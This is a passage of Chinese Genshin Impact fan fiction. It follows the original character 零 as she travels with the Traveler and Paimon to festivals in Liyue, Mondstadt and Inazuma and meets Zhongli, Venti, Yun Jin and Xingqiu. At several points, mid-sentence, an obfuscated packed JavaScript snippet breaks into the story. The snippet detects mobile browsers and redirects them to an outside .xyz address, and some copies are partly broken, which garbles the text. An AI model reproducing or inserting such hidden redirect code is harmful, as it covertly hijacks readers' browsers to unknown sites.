零胸有成竹：“我打听过了，容彩祭首日有《沉秋拾剑录》作者签售会，还会有场贩限定的新番外集，不去不行。” 派蒙小声嘀咕：“直接在璃月港找作者黑箱不就行了。” 空赶紧捂住她的嘴，虽然一开始推荐《沉秋拾剑录》带了点恶趣味不假，但如果真被行秋知道是自己捅了马甲，绝对会死得很惨。 乙方接受了委托，贴心地表示如果劳累，可以进尘歌壶休息，自己直接带着尘歌壶锚点传送也没问题。 “尘歌壶？”零拿着关牒，跟着空进入壶中，“原来是洞天啊，装修得真好。” 空谦虚地表示璃月仙人的洞天更精美。 “那倒未必，你这里不同区域风格不同，很有异域风情，让人觉得新鲜。钟离那个就不新鲜了，除了星空设置得比较特别，其他和我老师的风格很像。” 懂了，退休老璃月风。 等等。 空回过神来，派蒙已经抢先问出口：“你还好吗？还有，你已经知道钟离的身份了？” 零像做数学应用题一样一个一个回答：“我很好。你说钟离的什么身份，璃月的摩拉克斯，还是……哦……我知道了。” 派蒙没在意微妙的停顿，关心地问：“昨晚看到你那个样子，好担心。钟离说你什么贪饕权能尚未完全平息，我们接触了会被黑洞吸走。” 零若有所思：“他是这么说的吗？告诉你们也不要紧，我没有心脏，这里其实是个空洞，其他和人类差大不多。” “啊？这还叫和人类差大不多？”派蒙无语了，“须弥教令院的流浪者有你一半的自我认知，嘴巴就不会那么毒了吧。” “其实这件事我也是昨天刚刚发现的，之前我还没有这个认知。”零拍了拍胸口处，“系统能正常运行，问题不大。” 问题大了去了好吗。空也无语了。 从壶里出来，三人往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463373|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒险家协会一路溜达过去。 零围观着接待员凯瑟琳一如既往的“向着星辰与深渊”开场，空熟练地接着委托，派蒙一个月30万摩拉的伙食费可不是从天上掉下来的。 目送旅行者开启新一天的委托，零转过头认认真真地凝视着冒险家协会的接待员许久，盯到至冬的仿生人偶都尴尬了，才嘟囔着“问题是不大呀”，离开了冒险家协会。 云堇听到零的特种兵旅行计划后，第一反应倒不是派蒙那种“连轴转真的不累吗”，而是：“既然去异国旅行，是时候去做两身衣服了！” “除了上台的时候穿戏社的衣服，我看你这件连帽衫天天穿，也不嫌会脏吗？” 零的重点显然和云堇不一样：“这件衣服可是我参加国际大学生程序设计竞赛作为优胜者的定制款，防水耐脏保温，居家旅行刷题研究必备佳品。” 云堇虽然没听懂这一连串叽里咕噜不知道什么话，但云老板的“姐姐气势”十足，直接拉着零的手就往外走。 两个人拉拉扯扯一路到裁衣店门口，被辛焱给撞上了。 辛焱显然也对搞“奇迹零零”的活动很感兴趣，异常积极地加入其中，还诱惑着零：“上次给你缝了个枫丹鲸鱼抱枕，这次你乖一点，和我们进去做衣服，我再给你做个新的抱枕怎么样？” 辛焱一直以来都在坚持修行女红，手工活越做越好。 刚认识的时候，正好云堇向旅行者发了搜集无光丝线的委托。听旅行者说无光丝线来自于枫丹的鲸鱼，于是辛焱灵光一闪，试着用软绵绵的绒布和霓裳花做了个鲸鱼抱枕作为见面礼。 不得不说，零真的很吃辛焱这一套。 她一下子不挣扎了，像小孩子做约定一样说：“璃月人类社会有句话，食言者当受食岩之罚，你可不能骗我。” 辛焱和云堇隔空对上眼神，云堇在零的背后偷笑，辛焱忍着笑说：“那是当然！你先进去裁衣服。” 裁衣店真是个可怕的地方，一进去一天就没了。 零心有余悸地抱着抱枕趴在床上看轻小说。 成衣店买就可以了嘛，地球上那种购物app刷一刷买一买也很方便嘛。 她暗暗发誓以后绝对不会跟着辛焱和云堇进裁衣店。 有这个时间还不如练练琴，做做数学题。 6. 第 6 章 今天云翰社上新戏，和裕茶馆已经是人山人海，一楼大堂早就座无虚席，过道票也被加塞加光，门口有诡计多端的黄牛号称自己有二楼雅间票，得加钱。 “当我们傻啊，二楼雅间说上就上吗，不是老客人根本订不到好吗。”派蒙气鼓鼓地飘来飘去，复又皱起眉头，“这样我们要怎么在散场后接应到零啊？” 空完全没有担心这个问题，他自信地表示可以刷脸。 派蒙没反应过来：“刷脸，刷我的脸还是你的脸？都没用吧？”她顺着空的目光望出去，看到正不紧不慢地往和裕茶馆走来的钟离，“啊！还有这招！” 和裕茶馆二楼的雅间怎么可能没有钟离的位置？ 听到旅行者的请求后，钟离果不其然带着他们刷脸上了二楼，待在雅间坐定，上了茶水点心后，才问：“方才外面喧哗不好说话，现在安静了，小友所言的‘接应’是何事？” 空将零的特种兵旅行委托大致说了一遍，派蒙在边上把计划书里连轴转的安排添油加醋又补充了一遍。 对于这种「璃月港—蒙德—璃月港—稻妻离岛」的神奇安排，钟离高情商地评价：“初次接触锚点，就能想出此番行程，可谓时间管理大师了。” 他也没拂了旅行者的意，化出一只岩鸽，将空写的纸条带去后台，告知接应地点。 没多时，台上开幕。 乐师坐于一侧轻拨开场，指底飒飒，雁啼私语两玲珑。 新戏乃是千年后的无神年代，国破家亡双泪暗之时，英雄儿女抛头颅洒热血的故事。 台柱云堇一身武装登场，身段凛然洒脱，唱至“一腔热血勤珍重，洒去犹能化碧涛”，乐声合着人声，一抔铿锵一抔魂。 观众如痴如醉，有的甚至跟着台上人物落下泪来，一时间掌声雷动，叫好声此起彼伏。 雅间里，空和派蒙拼命鼓掌。 钟离颇为喜欢这种无神背景的剧情，连连称赞：“演唱创作俱佳，云先生不愧是璃月戏的中坚力量。” 散场后没多久，零就背着琵琶提着旅行包在雅间门口探进了脑袋。 看她还穿着璃月裙装，派蒙很有夸夸群群主风范地说：“你穿璃月裙装真好看！这身衣服是新做的吗？以前没见过呢。” 零先干了两杯茶水，又吃了两块枣泥饼，喘了口气：“饿死我了。” 钟离将离她稍远的一碟莲花酥推过来，委婉地说：“慢慢吃，这莲花酥配沉玉仙茗正好。” 零完全没听懂他想表达的意思是，沉玉仙茗这么好的茶怎么能牛饮。 和众多大佬打过交道的旅行者听懂了，但这位牛饮者是下了委托的金主，怎么能不给面子，空选择装没听懂。 零又咽下去两块莲花酥，才缓了缓，慢慢喝茶：“哇，这个茶味道不错，很像黄山毛峰！”然后和派蒙开始吐槽在裁衣店的惨痛经历，再次强调： “那件衣服可是我参加国际大学生程序设计竞赛作为优胜者的定制款，防水耐脏保温，居家旅行刷题研究必备佳品。” 这个话该怎么接才不会得罪金主呢？ 派蒙机灵的小脑袋飞快运转：“不过你很适合璃月裙装，很好看，你们说对吧？”她一边说一边朝桌子旁另外两位拼命眨眼睛，试图发出求救信号。 空连忙点头，金主穿麻袋都很好。 钟离却说：“既然是获奖的纪念品，应该妥善收藏不要弄坏。” 零奇怪：“不过就是件好穿的衣服嘛，作为纪念品更应该穿在身上。” “以普遍理性而论，人类社会大多对于纪念品都是加以珍藏的。” “啊？这样啊。” “更何况，有友人出谋划策帮忙选定服装款式，是人类社会中珍贵的友情体验，值得珍惜。” “诶，有道理。” 派蒙悄悄地在旅行者的耳边嘀咕：“这两人竟然能交流得有来有回，而且交流的主题我根本没明白，他俩都很明白的样子。” 空死鱼眼，表示派蒙的确该去教令院上两年学，虽然空本人也没听懂。 派蒙扯开话题，说：“今天的新戏真精彩，太好看了，好多观众都哭了呢。” 说到新戏，零非常骄傲：“云堇很厉害，我只是把知道的过去告诉她，她就能创作出这么优秀的剧本。” 闻言，钟离沉吟：“‘痛同胞之梦犹昏，悲祖国之陆沉谁换。’你知道的过去也就是剧中的千年后吗？” “老师说，艺术来源于生活而高于生活，我不是很懂，但是云堇应该做到了这一点吧。” 简短的点心时间后，特种兵旅程即将开始。 眼见零要进入空的尘歌壶，钟离叫住了她：“如果你对伏龙树感兴趣，那就也不要错过蒙德城外风起地的大树，风花节闲暇之余不如去看看。” ？ 不是很明白个中深意，但还是答应了，借助地脉与锚点的指引，直达蒙德的城，三人在尘歌壶中休息了一夜，顺利赶上次日的风花节最大的一场庆典。 风花节，蒙德一年中最盛大的节日，万物复苏，花香四溢，空气中弥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463374|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫着自由与欢乐的气息。 旅行者带着零穿梭于人群之中，熟门熟路地参与着各式各样的庆典活动。派蒙不失时机地向她介绍，去年旅行者作为风花节之星如何献上风之花。 “琴给了那么多选择，蒲公英、风车菊、塞西莉亚花、小灯草、甜甜花……”派蒙掰着手指说，“空竟然选择了钩钩果！你说这像话吗！献祭上去钩钩果一点动静都没有。” 零显然没领会重点，说：“人类社会对于花的定义中，钩钩果不算花吧？” “其实任何一种都算是风花，这是自由的城邦，人民可以自由地选择自己的所爱。”不知哪里插进来的声音。 空转头：“温迪！” 蒙德的吟游诗人手持斐林，笑意吟吟，随手拨弹： “是谁在轻抚你带伤却坚毅的面庞，在小溪旁，在巨岩旁； 是谁紧拥你疲惫而高贵的灵魂，在深梦里，在高天之上； 亲爱的朋友，我牵着你的手，带你走进夜晚华灯； 为你从头讲述，节日里那自由与梦的乐章。” 每一句都仿佛能触动人心最深处的柔软。 派蒙都不甘心地承认，太容易被诗人的歌声吸引到说不出什么难听的话来。 温迪流畅地拨过滑音，止住音符：“风带来岩石的消息，让我多关照新来的客人。你好，我是蒙德最好的吟游诗人温迪，欢迎来到蒙德。” 零热烈鼓掌，真诚地说：“你好，温迪，我叫零。我听懂了，这是真正的将感情融入音乐，我还有很多要学习的地方。” 她再次使出新学的技能，可怜巴巴地眨着眼睛：“温迪老师，我可不可以跟你学习怎么在演奏时融入人类感情？” 提瓦特大陆上可怜巴巴眨眼睛的始祖——温迪，真是老师傅被乱拳打懵，迟疑了一会儿才确认：“你，跟我学，人类感情？” 然后老师傅恢复了笑容：“温迪老师的收费可是很高的！比如两瓶蒲公英酒。” 派蒙对空吐槽：“这两位真是一个敢学，一个敢教啊。” 空按着额头实在无奈。 零爽快答应：“没问题！快到饭点了，我请客，吃完午餐后就开始教学吧。” 听到吃午餐，派蒙立刻把吐槽抛到九霄云外，异常积极地做向导：“好好好！我带路！强烈推荐猎鹿人餐馆的渔人吐司！还有堆高高、白汁时蔬烩肉、烤松饼、苹果卷卷！饮料可以点风花节限定的混合果汁!” 这是提前都想好菜单了吧。 空更加无语了。 7. 第 7 章 蒙德城外，风起之地，是一片被风与自由所流连之地。 最为引人注目的便是那棵巍然屹立的巨大古树。它的树干粗壮无比，承载了时间轮回间的风霜雨雪，枝叶繁茂，遮天蔽日。 零抱着琵琶，围着树转了一圈：“好大的树！难怪钟离推荐过来打卡。” 派蒙打了个饱嗝，说：“不知为什么，看到这棵树我就特别想睡觉。” 温迪指了指树上：“上面最粗那根枝干，躺着很舒服哟，想试试吗？” 派蒙心动，飞上去：“果然很舒服！” 空坐在树下，倚靠在一边，听着零拨起四弦，音符在他耳朵里逐渐断断续续，迷蒙中仿佛听到温迪又开始奏起斐林，阳光透过，洒下斑驳陆离的光影，给内心带来祥和与宁静。 他就这么睡着了。 「头顶是血红的天，脚下是血红的地，从未见过的场景，空莫名地知道这里是远古的提瓦特。 “啊，原来推荐打卡是这个。”身边响起熟悉的声音，空转头发现零正仰头注视着血红得发黑的天空。 原初之人将提瓦特一切龙的龙王尼伯龙根封印在巨大的树下，被深渊影响的龙王恶念与被微薄的初心维持的龙王善念，在此交织。 “这样不够，成为恶龙的龙一定会挣破的。底层逻辑架构有问题，时间的熵增推动下，无论多少次溯回时间，系统再如何修正，制造再多的熵减能量差也没用，最终的结局依旧是熵死。” 零的观后感空没有听懂，但是语气冷静到空甚至想称之为冷酷。 “没听懂很正常。因为时间轴上宇宙的概念永存。”她好像知道空在想什么，脸上露出了微笑，“只要记得旅程的经历就可以了，臧克家说过：有的人活着，他已经死了；有的人死了，他还活着。” 臧克家是谁？ 不要当谜语人啊！ 空在心底大喊。 血红的天与地剧烈晃动，空根本难以站稳。 “没事。”零出乎意料地安慰起人来，“只要不是星震，问题都不大，我们醒来吧。”」 空猛地睁开眼睛。 风起时，巨树枝干轻轻摇曳，似乎在低语，与过往的旅人分享着古老而遥远的故事。树下，野花烂漫，晶蝶飞舞，温迪信手徐徐弹奏，笑道：“你们睡得好香哇。” 零伸了伸懒腰，抱怨着：“有一种突然被迫接手垃圾代码的感觉，不解决还不能拿毕业证的那种。” 她一拍脑门：“啊，十面埋伏原来是有这种感觉吗？” 接着，一连串急迫且紧张的调子，把派蒙吓得差点从树上摔下来。 “怎么了怎么了？”派蒙在空中打了个转。 温迪评价：“听起来你是埋伏人的那个，不是被埋伏的那个。” 零用琵琶指甲戳着下巴：“倒也没错，这首曲子是刘邦视角。” 眼见太阳渐渐西斜，吟游诗人道：“那么，温迪老师用风与飞鸟的故事，结束今天的学习吧。” 「飞翔吧 就像飞鸟那样飞翔吧 带我看看这个世界 代我飞到高天之上」 走在回蒙德城的路上，零哼唱着吟游诗人的曲子，问：“故事的最后，风因为飞鸟，变成了飞鸟的形状吗？” 温迪说：“也不能说是变成吧，只能说是……嗯……纪念。毕竟风的形状很多，你看，岩石也会有很多形状吧？” 怎么温迪把火烧出去了？空和派蒙面面相觑，却听到零回答：“也是，陨石和太湖石就不一样。” 空用眼神对着派蒙无声地表示，这种鸡同鸭讲还能相互沟通的对话实在是太伤害第三方旁观者的心灵了。 偏偏引火的温迪还在继续：“那么零的形状是怎么来的？” “这是我见到的第一个人类模样，我以为人类都长这样，后来才发现不是的。”零毫无知觉地说，“反正不影响运转。” 派蒙用眼神对着空无声地表示，这种对话还要进行多久，自己已经受不了了。 好在已经到了蒙德城，夜幕降临，烟花绽放于天际，为庆典画上完美的句号。甲方对乙方旅行者评价：“五星好评！” 温迪跳出来：“我呢我呢？我可是上了一下午的课。” 零指着酒瓶：“四瓶蒲公英酒，双倍好评呢，温迪老师。” 吟游诗人眼里满是温柔：“希望蒙德的一日给你带来美好的回忆。” 庆典结束后，利用锚点的力量，瞬间回到了璃月港。 和空与派蒙告别，零推门进屋，果然云堇没睡，还在一边看小说一边等她，见到她回来了，才安心地合起书。 零赶紧从包里掏出伴手礼：“这是蒙德特产苹果酒，我觉得很好喝，甜甜的。” 云堇笑盈盈地收下，还不忘像姐姐一样操心：“你出去的事情，辛焱和钟离先生也都知道，还帮过忙，按理伴手礼也该有他们一份，你有多准备吗？” 零一瓶一瓶数出来，说：“有多买，五瓶打八折。” 第二天午餐时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463375|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，零在璃港船局找到了正打算去吃饭的辛焱，送上伴手礼。 辛焱热情地要拉她进璃港船局吃午饭，零十动然拒，毅然决定回去陪云堇吃生命体征维持餐。 辛焱遗憾作罢，不过还是告诉她：“新抱枕要给我一点时间做哦，细节很多，比上次那个鲸鱼难。” 对此，零当然不介意，只要有就可以了。 晚上，空一如既往跟着钟离刷了脸上二楼雅间。 钟离对于多看几遍喜欢的戏毫无压力，空也无所谓。 派蒙倒是觉得看一遍就够了，主要是剧情让她太容易哭了，有些不好意思，干脆去香菱那里吃东西，等估摸着散场了再过来汇合。 雅间里今天只有钟离和空两个人。 等待开场的前夕，空斟酌了一下措辞，问：“为什么要推荐零去风起地？” 钟离不紧不慢品了口今日的天衡岩骨，反问道：“你也看到了什么？” 空将那个不知道是真实还是虚假的梦说了一遍。 钟离沉吟：“底层逻辑架构有问题，最终的结局依旧是熵死么……”然后宽慰旅行者，“无妨，她说的没错，你只要记住经历的一切就好。比死亡更可怕是忘却，我想你应该知晓这个道理。” 空把心底的问题问出来：“零没有神之眼，没有武力，上次她差点处在失控状态，这种事情不能让她一个人承担吧。” 钟离听明白了，不由微笑：“如果零知道你为她在担心，一定会很高兴吧。无需担忧，我非常清楚她无力量之事，也并无让她承担的想法，古话有云‘当局者迷，旁观者清’，只是希望她能够以旁观者的身份看出症结所在，是否有回转之机罢了。” 他低垂眼眸，道：“她的确看出了症结所在。如果真的无计可施，我们从一开始的初心将何去何从，都会不甘心吧。” 空又被谜语人懵了一脸，此时台上开幕，他只得将被谜语人糊脸的气默默撒在点心上。 散场后，零像前天晚上一样出现在门口，这次她还带了一瓶苹果酒给钟离，重复了一遍之前的学习心得：“云堇说，‘钟离先生帮过忙，按理伴手礼也该有他一份’。我只买了苹果酒，你喜欢苹果酒吗？” 钟离接过蒙德特产，笑道：“礼轻情意重，多谢。”顿了顿，又说，“送礼很到位，把前半句删了更好，这样听起来更有发自内心的送礼感。” 刚飞进雅间的派蒙听到两人对话，不由地又死鱼眼，低声吐槽：“冒险家协会的人偶对话都比这个舒服。” 8. 第 8 章 稻妻的离岛，海风轻拂，樱花盛开。 容彩祭的首日，更是汇聚了众多才华横溢的作者。 来到作者签售会的现场，穿过熙熙攘攘的人群，终于来到《沉秋拾剑录》作者签售摊位的零，用不确定的口气尝试确认：“枕玉老师怎么有点眼熟？” 空抱着“这可不是我故意揭行秋马甲”的心理表示，这位正是云堇的赞助商之一，飞云商会的二公子，你当然会觉得眼熟。 行秋整个人都炸毛了：“呜哇哇！没想到空带了个璃月人过来，等等，你是云翰社那个乐师！” 零好奇：“那个乐师？哪个乐师？” 行秋尴尬地说：“呃，你是云翰社新乐师，琵琶弹得好，平时又成天穿着连帽衫，在老戏迷里很有名。我爹和戏友喝茶时说过好多次，我爹一开始还想以飞云商会的名义赞助你几套璃月衣装。” 派蒙在空的耳边预告：“必备佳品要来了！” 果然，零第三次强调：“这件衣服可是我参加国际大学生程序设计竞赛作为优胜者的定制款，防水耐脏保温，居家旅行刷题研究必备佳品。” 总之，先签售，先签售。 行秋一边签，一边反复叮嘱保密：“我毕竟是以考察商品的名头来了稻妻，若是被认得我的人看见我坐在这里，传回璃月，我爹那边可就瞒不住了。” 零连连保证：“好的枕玉老师，没问题枕玉老师。” 派蒙像盲生发现华点一样，等从签售会场人堆里挤出来，背着手晃来晃去，说：“我发现一个奇怪的地方，零称呼温迪叫‘温迪老师’，称呼行秋叫‘枕玉老师’，那么你嘴里没有名字的‘老师’是哪位‘老师’？” 零理所当然地说：“老师就是老师啊。”她想了想，补充，“唔，如果有机会，会介绍给你的。” 三人路过旧书摊，被各种打折旧书吸引到一头扎进去。 最后背着新书，抱着旧书，满载而归。 派蒙好奇地问：“哇，你淘了那么多旧书！让我看看，《野猪公主》《白之公主与六侏儒》《裴伦埃里》……都是童话故事书诶。” 零点点头：“以前我读《山海经》的时候就发现人类的神话故事很有趣，像猜谜书，所以没事就看看。” “猜谜书？”派蒙困惑，“又是我听不懂的话了。” 利用旅行者锚点达成三地之间特种兵旅行，即将圆满落幕。 零毫不吝啬地将摩拉和原石装满了一大袋塞给空，闹得空都不好意思了：“你每次委托都给得超出市场价了。” 零摇摇头：“我觉得很值，这个报酬也是你应得的。” 派蒙在边上说：“不是我多嘴，零，你自己有存钱吗？每次看你都用得很大方，真怕你哪天像钟离那样出门没摩拉，还得记账记在云翰社。” “我可是很认真地学习和实践过人类社会最基础的经济生活，不是钟离那种看起来只会坐在财政部金融司。”零抱着手，脸上写满了不赞同，“但是钱赚了总是要用的，放心吧，我不会饿死自己的。” 她想了想，又补充了一个让派蒙完全听不懂的冷笑话：“从数学概念上来说，零也叫金元数字，是值钱的。” 空安慰派蒙，虽然派蒙的确需要上学，但是零说的数字学术相关，估计教令院的大贤者才能搭上话，所以不是派蒙一个人的问题。 派蒙跺脚：“根本没有被安慰到！” 走到锚点，空停下脚步，掏出一卷地图送给零：“这是我记录下的锚点地图，试试看自己能不能独立使用锚点，怎么样？” 零接过地图，小心打开，上面详细记录了各处的锚点，空解释：“纳塔的锚点我没有完全探索完，还刚刚起步，至冬也是，等我记录好了再给你一份更新版。” 零收起地图，郑重其事地说：“谢谢你，这是很有用的礼物，我会把它当作人类友情中美好的记忆之一。” 空不好意思了：“举手之劳而已，我旅行的过程中肯定会记下来的。”他伸出手，邀请零去试试。 零走进锚点，乍一接触，空所绘制的地图好像被导入系统一样，眼前浮现出提瓦特大陆上各处闪闪发光的锚点。她点了一下璃月港位置靠下的锚点，经历了在地脉中穿梭的过程，须臾间已经到达了璃月港。 空后脚跟着出来，恭喜她：“以后你可以独立使用了，我也好安心去纳塔探索了。” 旅行者对于璃月港这处锚点情有独钟，主要是边上就是合成台，特别方便。 留空和派蒙在合成台热火朝天，零大包小包走过桥，正巧遇到闲游的钟离，对方主动帮她提东西。 零的直觉告诉自己这个时候应该使用一点新学的人类社会交际技能，于是她说：“你吃不吃五宝腌菜？我买的稻妻特产，说是用堇瓜做的。” 钟离无奈：“你我之间不必如此，不过你学得是很认真，已经把前半句删了。” 他指的是那句“云堇说，‘钟离先生帮过忙，按理伴手礼也该有他一份’。” 零毫无知觉，反而一脸自得：“我当然学得很认真。” 钟离叹了口气，道：“论年纪，你我同源；论心理……也不知道你这么多年怎么过来的。” “一开始就浑浑噩噩没有知觉漫无目的地飘来飘去，然后遇到了一个人类，她给我指了路。我一开始以为人类都长她那个样子，所以也照着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463376|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子试着化成人类形态。” 零一路晃着手一路说，仿佛在讲述别人的故事。 “我往那个方向一路过去，观察到了很多。然后，我想，如果以人的身份融入其中，会不会更有体验感呢？于是，我就封印了自己，遇到了老师。以上是我的猜测，因为封印没有完全解开，但我相信这是我做得出的事情。” 钟离目光柔和：“你的那位老师，定然是位很包容的人。” 提到老师，零的脸上浮现出笑来：“没错，老师大概经历了那颗星球历的五千多年，但是依旧保持了初心，是我学习的榜样。” 一路闲聊，已经到了门口，钟离帮她把东西拿进去，毕竟这么多书和五宝腌菜的重量可不轻。 云堇也帮着拿，还不忘帮零道谢：“辛苦钟离先生了，阿零这几日来回旅行多有叨扰。” 钟离将包裹放在桌上，回道：“云先生才辛苦，零在这里衣食起居全靠云先生多多关照。” 零看着两人仿佛是自己三叔爷和四姨奶一样，带着长辈的口气互相寒暄，一脸莫名其妙。 她决定终止这种长辈式寒暄，掏出五宝腌菜，塞给钟离一份，又献宝一样噔噔噔地亮相给云堇看：“云堇你看！是用堇瓜做的五宝腌菜，简直就是为你量身定做的腌菜。” 云堇听懂了她的谐音梗，简直哭笑不得，还是夸道：“谢谢，很有心，五宝腌菜保质期长，可以慢慢吃。” 零非常得意：“对，所以我买了十盒！老板说容彩祭期间限定十盒半价。” 糟了，夸早了。 云堇的笑容一下子凝固，眼前仿佛出现了天天吃加了五宝腌菜的生命体征维持餐的场景。 钟离轻咳一声，提出建议：“五宝腌菜爽脆开胃，过粥下饭佐酒皆相宜，想来正合云翰社老乐师们的胃口。” 云堇感激地说：“钟离先生思虑周全。” “说到保质期。”零又翻出来新货色，“我走之前还买了三瓶团子牛奶，这个很像麻薯奶茶，好喝！就是保质期很短，现在得赶紧喝完，这里正好三个人，我们一人一瓶。” 对于团子牛奶，云堇接受度果然一下子高了。 她纠结了一小会儿，自言自语：“嗯，就一瓶团子牛奶，待会儿练踩跷的时候会消耗光的，不要紧。”带着吃到甜品的幸福感喝光了。 钟离拿着团子牛奶回了往生堂，胡桃眼尖地发现了：“哇，稻妻的团子牛奶！客卿你在哪里买的？我也要喝！” 钟离说：“友人所赠，我刚喝过一口，无法与堂主分享了。” 胡桃眯起眼睛，望着客卿远去的背影，哼哼了两声：“小气，明明瓶子都没有开封。” 9. 第 9 章 空回到璃月时，发现大街小巷都开始流行一种全新的饮品，几乎人手一杯。 著名的美食品鉴家派蒙，在品鉴了被店家称为「团圆碎银奶茶」的饮品后，发出如下评价：“这是团子牛奶的升级款嘛！不过是很好喝，团子更绵软了，像软软的云，还加了特别的茶水，牛奶就变成枣红色了。” 空看着飞云商会的招牌，似乎猜到了什么，去交任务的时候正巧遇到行秋，随口问了一句，果然获得了肯定答案。 “对，这就是飞云商会本季力推的新品。”行秋解释，“说来不好意思，虽然家里对外宣称是我的商业合作成果，但其实是云翰社的零小姐帮了很多忙。” 派蒙喝着奶茶，问：“她帮了什么忙？” 于是两人从行秋那里听到了一个魔幻的故事。 零自称掌握了璃月往返稻妻的快捷方式，帮行秋去了好几次稻妻，谈下了团子牛奶制作配方的买断，在此基础上，商会的茶师反复试验加入茶叶的新配方，才成功推出了名为「团圆碎银奶茶」的饮品。 派蒙和空面面相觑，派蒙说：“原来锚点还能这么用……” 行秋补充：“茶叶的新配方，我们试过沉玉茶露、松萝仙芽，都太清淡了，还是钟离先生指点我们去黑岩厂一带寻访到「黑岩碎银」这种熟成茶，才解决了问题。现在我们正在尝试用天衡岩骨研究新配方，你们要保密哦。” “换个角度想，这一杯奶茶，集合了云翰社、往生堂和飞云商会三家的力量。”派蒙举着杯子，“我喝起来怎么感觉压力大了。” 空表示，派蒙你再来第二杯都没问题的样子。 行秋说：“派蒙你可别这么说，一杯奶茶而已，没什么压力的。更何况，我还以商会的名义给了零小姐和钟离先生顾问费。” 派蒙露出羡慕的表情：“哇，还有顾问费！”她悄悄在空的耳边嘀咕，“难怪零说什么‘钱赚了总是要用的，我不会饿死自己的’。” 空还没说什么，行秋继续说：“顾问费是应该的嘛，大哥常说，三分生意，七分做人。我这笔生意光一炮打响可不行，还得细水长流呢。” 告别了行秋，帮派蒙买了第二杯奶茶，走在璃月港的街道上，内心有一种特别的宁静。空拿着记录了新锚点的地图去找零，刚过了桥，就遇到了胡桃。 胡桃得知了空的想法，告诉他：“还好你遇到本堂主，零和云堇都不在家，在往生堂壮大我的业务哦！” 壮大业务？ 空脑子转了一圈，是去参加辛焱的演唱会了。 “诶——”胡桃拖长了调，“你的脑子也转得太快了吧。好啦好啦，你别说出去就行，云堇要我帮忙保密。我要去万文集舍，先行一步喽。” 云堇常常用拜访范二爷家的星燕小姐作为借口搪塞云翰社的老人家们，自从带着零一起住以后，她可以不用找借口，光明正大地出去玩。在那群老人家眼里，相较之下，脑回路清奇的琵琶乐师，的确需要云堇多上心。 空对此了然，折返回去买了三杯奶茶，结果被告知，加上前面派蒙的两杯，五个点数可以再免费换一杯。 于是提着一大袋子奶茶的空出现在往生堂时，辛焱的演唱会已经结束了，还好来得巧，观众们虽然走了，几人都还在。 辛焱对此很高兴：“谢谢！正好口渴了，来一杯最爽了。” 云堇则显得纠结多了：“最近很流行喝奶茶，好喝是好喝，就是太容易胖了……嗯，你说这杯特意要了无糖的？谢谢！我就不客气啦。” 零当然来者不拒，还和空确认了一下新锚点地图：“说起来还是全靠你的帮忙，没有你的锚点地图，也没有我日思夜想的奶茶。根据人类社会的常识，我应该分你一半的顾问费。” 空连忙摆手表示不用，赶紧学着温迪转移火势，一副好学宝宝的模样，询问坐在一边的钟离关于「黑岩碎银」的知识。 “哦？行秋是这么跟你说的么……”钟离不紧不慢地介绍。 “「黑岩碎银」是黑岩厂一带的熟成茶，取本地名曰「昔归」的茶树之叶，加以独特的渥堆发酵工艺。茶叶经过发酵熟成，自然形成紧实的结块，这些结块便是老茶头。从这些老茶头中精挑细选者被称为「碎银」，皆因其外观散落，色泽黑亮，如碎银一般，故而得名。” “它茶汤红亮，滋味甘甜，顺滑醇厚，而且耐泡性极强，从第一泡到最后一泡，都能保持相对稳定的香甜度，故而我推荐给行秋。此茶在璃月港喝的人不太多，但在黑岩厂一带很是盛行。若能调成奶茶，也是为「黑岩碎银」打开了新销路，当地茶农的日子也更宽裕些。” 零喝着奶茶点点头：“熟成普洱嘛，老师教过我，十年熟成的就很好了，已经不涩了。里面含有大量茶叶本身的果胶和果糖，不加糖也会很香甜浓郁。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 